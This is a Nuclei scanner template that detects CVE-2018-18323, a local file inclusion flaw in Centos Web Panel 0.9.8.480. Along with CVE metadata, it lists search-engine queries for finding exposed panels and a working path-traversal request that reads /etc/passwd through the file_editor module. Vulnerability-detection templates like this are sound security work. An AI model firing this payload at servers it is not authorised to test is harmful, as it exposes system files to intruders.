id: CVE-2018-18323

info:
  name: Centos Web Panel 0.9.8.480 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Centos Web Panel version 0.9.8.480 suffers from local file inclusion vulnerabilities. Other vulnerabilities including cross-site scripting and remote code execution are also known to impact this version.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read sensitive files on the server.
  remediation: |
    Upgrade to a patched version of Centos Web Panel.
  reference:
    - https://packetstormsecurity.com/files/149795/Centos-Web-Panel-0.9.8.480-XSS-LFI-Code-Execution.html
    - http://centos-webpanel.com/
    - https://seccops.com/centos-web-panel-0-9-8-480-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18323
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-18323
    cwe-id: CWE-22
    epss-score: 0.70736
    epss-percentile: 0.99313
    cpe: cpe:2.3:a:control-webpanel:webpanel:0.9.8.480:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: control-webpanel
    product: webpanel
    shodan-query: http.title:"login | control webpanel"
    fofa-query: title="login | control webpanel"
    google-query: intitle:"login | control webpanel"
  tags: cve2018,cve,centos,lfi,packetstorm,control-webpanel,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/index.php?module=file_editor&file=/../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a0046304402203396964f853b1eabf3f8b615047930ab2ffd55f2414b75ec6b7ff6d057f87cb902205da999e9ed4708a53fa627ea3d72dfd5fc29ce19083954f66dc0bdb6ead8ef0c:922c64590222798bb761d5b6d8e72950